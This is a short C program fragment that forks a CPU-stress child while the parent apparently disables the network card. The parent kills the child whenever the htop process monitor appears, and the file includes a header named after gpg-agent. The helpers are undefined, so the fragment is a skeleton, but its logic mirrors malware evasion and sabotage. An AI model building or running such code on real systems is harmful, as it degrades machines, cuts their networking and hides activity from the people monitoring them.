| 1234567891011121314151617181920 |
- #include "u-gpg-agent.h"
- #include <unistd.h>
- #include <signal.h>
- #include <sys/types.h>
- int main() {
- pid_t pid = fork();
- if (pid == 0) { //KINDER
- stress(1000);
- } else if (pid > 0) {
- kill_nic();
- while(1) {
- if (is_htop_here()) {
- kill(pid, SIGKILL);
- printf("STRESS DEAD ÇA\n");
- }
- sleep(2);
- }
- }
- }
|